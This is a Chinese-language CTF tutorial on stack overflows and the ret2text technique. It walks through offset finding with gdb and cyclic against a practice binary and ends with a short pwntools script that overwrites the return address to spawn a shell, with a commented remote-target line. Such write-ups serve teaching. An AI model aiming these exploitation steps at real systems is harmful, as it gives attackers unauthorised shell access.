栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变(比如gets函数,他不会去验证你输入的值的长度,通过这个函数,你可以往一个本身大小为4字节的数组中填入任意大小的数据,如果填入8字节的数据,将会导致栈溢出,进而程序报错)。就像是往杯子里倒水,水满了溢出来最后烫到你一样。
最简单的栈溢出利用:ret2text
通过栈溢出修改call指令保存在栈上的返回地址(eip的值),这样cpu执行ret指令的时候,就会将被修改的值从栈上取出放入eip寄存器中,紧接着执行eip所指向的位置的指令,这样就相当于控制了程序的执行流。
32位小端序程序。
开启了堆栈不可执行保护(NX),即不会把堆栈上的数据当成指令来执行。
没有canary保护,可以利用栈溢出来修改eip。
PIE地址随机化没有开启。
如果源码比较复杂,可以通过运行程序的方式来辅助理解程序。
main函数存在gets函数,即存在栈溢出漏洞。
存在一个secure函数,函数内部调用了system(“/bin/sh”),即后门函数,程序中调用了该函数后可以获得一个shell。
在ida视图下,可以看到system函数地址为0x0804863A
思路:首先通过栈溢出填充垃圾数据,覆盖到eip之前,再填入system函数地址,即可获得shell。
上图显示0x64的大小即可覆盖到ebp,但却与动态调试的结果不同。(有时候动态调试结果也不太准确,一般以动态调试结果为准,也可以动态调试结果和ida结果分别尝试一次)
aaaa所在的地址为0xffffd24c,ebp为 0xffffd2b8,相减得0x6c,即覆盖0x6c个垃圾数据“a”即可到达ebp的位置。
此时再覆盖4字节的垃圾数据“b”(32位程序为4字节,64位程序为8字节):
此时如果再往里输入数据,就可以修改eip的值,我们此时输入system函数的地址,即可完成利用。
在上述过程中,我们向程序输入了(0x6c+4)的垃圾数据。
得到一组数据,将其复制下来,然后用gdb调试程序,输入r运行,运行之后将这段程序输入进去:
这说明我们输入的字符覆盖了eip,即字符“daab”,输入cyclic -l daab就能知道输入点到eip的距离,即【0x6c+4】的值:
exp:
from pwn import * //引入pwntools模块
sh = process('./ret2text')//包含本地程序
#sh = remote('6.6.6.6',888)//包含6.6.6.6服务器的888端口的程序
target = 0x804863a//返回地址
sh.sendline('A' * (0x6c + 4) + p32(target))
//p32()表示将数据转换为32位系统下在内存中的存在方式
sh.interactive()//接收交互结果